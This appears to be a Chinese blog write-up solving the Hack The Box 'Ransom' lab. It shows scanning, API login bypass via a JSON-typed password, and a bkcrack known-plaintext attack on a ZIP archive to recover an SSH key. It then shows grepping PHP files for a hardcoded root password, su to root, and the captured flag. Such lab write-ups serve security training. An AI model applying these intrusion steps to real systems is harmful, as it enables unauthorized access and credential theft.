当前位置: 首页 > news >正文

HTB:Ransom[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用ffuf对靶机80端口进行路径FUZZ

访问/register路径可见疑似网页源码泄露

访问/login路径查看HTML源码

边界突破

尝试对/login路径中的参数进行SQL注入

使用Yakit进行抓包可见该路径使用GET方法发送请求

使用sqlmap对该路径进行自动化注入

通过findsomething插件可见该路径使用接口:/api/login

尝试通过POST方法访问该接口

使用arjun对该接口进行参数FUZZ

尝试直接在接口后拼接password参数获得响应码200

使用Yakit中的Fuzzer进行爆破发现请求数被限制

尝试构造JSON格式的数据以GET方法发包

通过验证后可下载两个文件

另一为.zip压缩且存在解压密码

使用7z查看该压缩包内的文件压缩属性

直接在任意Linux系统中查找该文件

使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩

使用bkcrack对压缩包密钥进行爆破

利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip

对该压缩包进行解压后,分别查看authorized_keys、id_rsa.pub文件内容

为id_rsa文件赋权,使其符合SSH服务安全连接标准

使用id_rsa私钥文件对靶机SSH服务进行登录

权限提升

查看靶机系统内存在的用户

尝试查看当前用户可sudo执行的二进制文件

查找系统中的SUID文件

查找系统中的CAP_SUID文件

查看靶机系统中的网络连接

查看当前靶机系统中的进程

由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件

将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字

我尝试利用该密码直接切换到root用户

查找root.txt文件


连接至HTB服务器并启动靶机

靶机IP:10.10.11.153

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.153 -r 1-65535 --ulimit 5000

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p22,80 --script=vuln -O -Pn 10.10.11.153

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.153

使用ffuf对靶机80端口进行路径FUZZ

ffuf -u http://10.10.11.153/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

访问/register路径可见疑似网页源码泄露
  • 但是翻了一圈并没有敏感信息泄露

访问/login路径查看HTML源码
  • 依然没有敏感信息泄露


边界突破

尝试对/login路径中的参数进行SQL注入

  • 由于该接口挂载了无法通信的CDN所以加载会有些慢

使用Yakit进行抓包可见该路径使用GET方法发送请求

使用sqlmap对该路径进行自动化注入

sqlmap -u http://10.10.11.153/login?password=123456 --batch --level=5 --risk=3
  • 这里跑了半天最后也没出Payload

通过findsomething插件可见该路径使用接口:/api/login

尝试通过POST方法访问该接口

  • 通过响应可知该接口不允许使用POST方法

  • 修改为GET方法后响应码302

使用arjun对该接口进行参数FUZZ
arjun -u http://10.10.11.153/api/login

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# arjun -u http://10.10.11.153/api/login      
    _
   /_| _ '
  (  |/ /(//) v2.2.6
      _/      

[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 1 parameter: password
[*] Logicforcing the URL endpoint
[!] No parameters were discovered.

尝试直接在接口后拼接password参数获得响应码200

  • 响应内容:Invalid Password,这里我尝试测试弱口令

使用Yakit中的Fuzzer进行爆破发现请求数被限制

尝试构造JSON格式的数据以GET方法发包

  • 发现可以正常收到200响应,那如果将password改成其他参数呢?

通过验证后可下载两个文件

  • 其中user.txt文件

另一为.zip压缩且存在解压密码
  • 感觉像在做CTF :=)

使用7z查看该压缩包内的文件压缩属性
  • ZipCrypto Deflate这种算法适用已知明文攻击
  • 不了解压缩包明文攻击的师傅可以查看下方我撰写的另一篇博文

Bugku CTF:请攻击这个压缩包[WriteUP]_zip明文攻击-CSDN博客

  • 在该加密的压缩包中,.bash_logout文件内容通常是固定的
直接在任意Linux系统中查找该文件
locate .bash_logout

  • 其内容如下
cat /home/kali/.bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.# when leaving the console clear the screen to increase privacyif [ "$SHLVL" = 1 ]; then[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi

使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩

使用bkcrack对压缩包密钥进行爆破

./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P 1.zip -p .bash_logout

  • 获得三段密钥

7b549874 ebc25ec5 7e465e18

利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
/bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
bkcrack 1.7.1 - 2024-12-21
[05:33:06] Writing unlocked archive final.zip with password "0dayhp"
100.0 % (9 / 9)
Wrote unlocked archive.

对该压缩包进行解压后,分别查看authorized_keys、id_rsa.pub文件内容

  • 由输出可见两个公钥文件内容一模一样,且用户名为htb
为id_rsa文件赋权,使其符合SSH服务安全连接标准
chmod 600 id_rsa
使用id_rsa私钥文件对靶机SSH服务进行登录
ssh htb@10.10.11.153 -i id_rsa


权限提升

查看靶机系统内存在的用户

cat /etc/passwd

尝试查看当前用户可sudo执行的二进制文件

sudo -l
  • 没有htb用户密码,只能作罢

htb@ransom:~$ sudo -l
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 3 incorrect password attempts

查找系统中的SUID文件

find / -perm -4000 -ls -type f 2>/dev/null
  • 显然,这里面没有能让我们感兴趣的文件

查找系统中的CAP_SUID文件

getcap / 2>/dev/null
  • 运行后鸦雀无声

htb@ransom:~$ getcap / 2>/dev/null
htb@ransom:~$

查看靶机系统中的网络连接

ss -tlnp
  • 这里也没什么特别的

查看当前靶机系统中的进程

ps -aux

由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件

find / -name '*.php' -type f 2>/dev/null | grep -i auth | tee list

将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
cat list | xargs -I {} sh -c 'cat {} | grep -i "password"' | grep -E '==|:'

  • 在输出中,第二行代码最引人注目

if ($request->get('password') == "UHC-March-Global-PW!") {

我尝试利用该密码直接切换到root用户

htb@ransom:/tmp$ su root
Password:
root@ransom:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ransom:/tmp# whoami
root

查找root.txt文件
find / -name 'root.txt'

root@ransom:/tmp# find / -name 'root.txt'
/root/root.txt
root@ransom:/tmp# cat /root/root.txt
943b5a4a3b1ade93547c62304a379110

相关文章:

HTB:Ransom[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用ffuf对靶机80端口进行路径FUZZ 访问/regist…...

Eclipse配置Tomcat服务器(最全图文详解)

前言: 本章使用图文讲解如何在Eclipse开发工具中配置Tomcat服务器、如何创建和启动JavaWeb工程,欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标: 一、配置Tomcat服务器 1. 切换Eclipse视图 2. 打开菜单 3. 找到服务选项 4. 选择…...

STM32烧写失败之Contents mismatch at: 0800005CH (Flash=FFH Required=29H) !

一)问题:用ULINK2给STM32F103C8T6下载程序,下载方式设置如下: 出现下面两个问题: 1)下载问题界面如下: 这个错误的信息大概可以理解为,在0x08000063地址上读取到flash存储为FF&am…...

用户界面的UML建模10

非正常的可视反馈可伴随着同步事件发生,而同步事件可由系统动作产生。但是,可以分别对它们进行建模。 在下节中将对这些特殊的事件依次进行论述。 6.1 异常处理建模 异常,由Meyer 定义[16],其作为运行时事件(run-time events&a…...

电影动画shader解析与实现

着色器代码解析 大家好!我是 [数擎AI],一位热爱探索新技术的前端开发者,在这里分享前端和Web3D、AI技术的干货与实战经验。如果你对技术有热情,欢迎关注我的文章,我们一起成长、进步! 开发领域:…...

蓝桥杯 第十五届 研究生组 B题 召唤数学精灵

问题描述: 数学家们发现了两种用于召唤强大的数学精灵的仪式,这两种仪式分别被称为累加法仪式 A(n) 和累乘法仪式 B(n)。累加法仪式 A(n) 是将从 1 到 n 的所有数字进行累加求和,即:A(n)12⋯n累乘法仪式 B(n) 则是将从 1 到 n 的所…...

在 Go 应用中 如何像 FastAPI 一样优雅地构建控制器

文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...

用户界面的UML建模11

然而,在用户界面方面,重要的是要了解《boundary》类是如何与这个异常分层结构进行关联的。 《exception》类的对象可以作为《control》类的对象。因此,《exception》类能够聚合《boundary》类。 参见图12,《exception》Database…...

历代iPhone运行内存大小和电池容量信息

系列设备名称充电端口标配充电线PD快充无线充电 (W)标配充电器电池容量 (mAh)发布时间RAM运存iPhone 16iPhone 16 Pro MaxUSB Type-CUSB-C to USB-C支持25无47472024/9/108GB LPDDR5XiPhone 16 ProUSB Type-CUSB-C to USB-C支持25无35772024/9/108GB LPDDR5XiPhone 16 PlusUSB …...

计算机网络之---物理层设备

什么是物理层设备 物理层设备是指负责数据在物理媒介上传输的硬件设备,它们主要处理数据的转换、信号的传输与接收,而不涉及数据的内容或意义。常见的物理层设备包括网卡、集线器、光纤收发器、调制解调器等。 物理层设备有哪些 1、网卡(N…...

57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景

57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景 实现效果 该案例实现了使用Three.js创建一个带有聚光灯和旋转立方体的3D场景。 知识点 WebGLRenderer(WebGL渲染器) THREE.WebGLRenderer 是 Three.js 中用于将场景渲染为 WebGL 内容的核…...

第八讲 一元函数积分学的概念和性质

不定积分 1.原函数与不定积分 需知道:F(X)可导必连续 2.原函数(不定积分)存在定理 (1)连续函数f(x)必有原函数F(x) (2)含有第一类间断点和无穷间断点的函数f(x)在包含该间断点的区间内必没有原函数F(x). 速记:只有震荡可能有…...

ADMM原理及应用

文章目录 1. ADMM原理1.1. 数学形式1.2. 传统“乘子法”和它的不足1.3. ADMM 的核心思想:分步做1.4. Scaled Form of ADMM1.5. 迭代过程中主要检查的两大残差1.6. 怎么设置停止准则(Stopping Criteria)?1.7. 自适应调整罚参数 ρ \rho ρ(又…...

mysql之sql的优化方案(重点)

1、全字段匹配是最棒的 假如一个Staffs 这个表,将 name,age ,pos 组合成了一个联合索引,在where条件下,能够使用到的索引越多越好。 EXPLAIN SELECT * FROM staffs WHERE NAME July; EXPLAIN SELECT * FROM staffs WHERE NAME July AND age…...

【LeetCode】303. 区域和检索 - 数组不可变

目录 描述Python1. 前缀和 描述 给定一个整数数组nums&#xff0c;处理以下类型的多个查询&#xff1a;计算索引left和right&#xff08;包含left和right&#xff09;之间的nums元素的 和 &#xff0c;其中left < right 实现NumArray类&#xff1a; NumArray(int[] nums)&a…...

前端开发 vue 中如何实现 u-form 多个form表单同时校验

在 Vue 项目中使用 UView UI 的 u-form 组件时&#xff0c;多个表单同时校验的需求非常常见。例如&#xff0c;当我们有多个表单需要在同一个页面中进行校验并提交时&#xff0c;我们需要确保每个表单都能进行单独验证&#xff0c;同时可以在同一时刻进行批量验证。 接下来&am…...

【网络】什么是速率 (Rate)带宽 (Bandwidth)吞吐量 (Throughput)?

注意单位&#xff1a; 在 kbps、Mbps、Gbps 中&#xff0c;前面的 k、M、G 是 国际单位制(SI) 的前缀&#xff0c;表示不同的数量级&#xff1a; k&#xff08;千/kilo&#xff09;: (10^3 1,000) kbps&#xff08;kilobits per second&#xff09;: 每秒 1,000 位&#xff08…...

(leetcode算法题)769. 最多能完成排序的块

Q1. 是否能用贪心算法&#xff1f;为什么&#xff1f; 先预设一个策略&#xff0c;每当当前的nums[i]满足可以 "成块"&#xff0c;就直接让这个数成块&#xff0c;也就是说之后的遍历过程中不会将这个数在考虑到自己的块内&#xff0c; "成块" 是指只要只…...

高光谱相机的特点

光谱特性 高光谱分辨率&#xff1a;能将光谱范围分割成极窄的波段&#xff0c;光谱分辨率通常达到纳米级甚至亚纳米级&#xff0c;可精确捕捉到不同物质在细微光谱差异上的特征&#xff0c;比如可以区分不同种类的植被因叶绿素含量等差异而在光谱上的细微变化。 多波段探测&a…...

《Spring Framework实战》8:4.1.3.Bean 概述

欢迎观看《Spring Framework实战》视频教程 Spring IoC 容器管理一个或多个 bean。这些 bean 是使用 您提供给容器的配置元数据&#xff08;例如&#xff0c;以 XML <bean/>定义的形式&#xff09;。 在容器本身中&#xff0c;这些 bean 定义表示为BeanDefinition对象&a…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

如何将联系人从 iPhone 转移到 Android

从 iPhone 换到 Android 手机时&#xff0c;你可能需要保留重要的数据&#xff0c;例如通讯录。好在&#xff0c;将通讯录从 iPhone 转移到 Android 手机非常简单&#xff0c;你可以从本文中学习 6 种可靠的方法&#xff0c;确保随时保持连接&#xff0c;不错过任何信息。 第 1…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1

每日一言 生活的美好&#xff0c;总是藏在那些你咬牙坚持的日子里。 硬件&#xff1a;OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写&#xff0c;"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持&#xff0c;都是在为未来积攒底气。 案例&#xff1a;OLED显示一个A 这边观察到一个点&#xff0c;怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 &#xff1a; 如果代码里信号切换太快&#xff08;比如 SDA 刚变&#xff0c;SCL 立刻变&#…...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill

视觉语言模型&#xff08;Vision-Language Models, VLMs&#xff09;&#xff0c;为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展&#xff0c;机器人仍难以胜任复杂的长时程任务&#xff08;如家具装配&#xff09;&#xff0c;主要受限于人…...

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分&#xff1a; 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...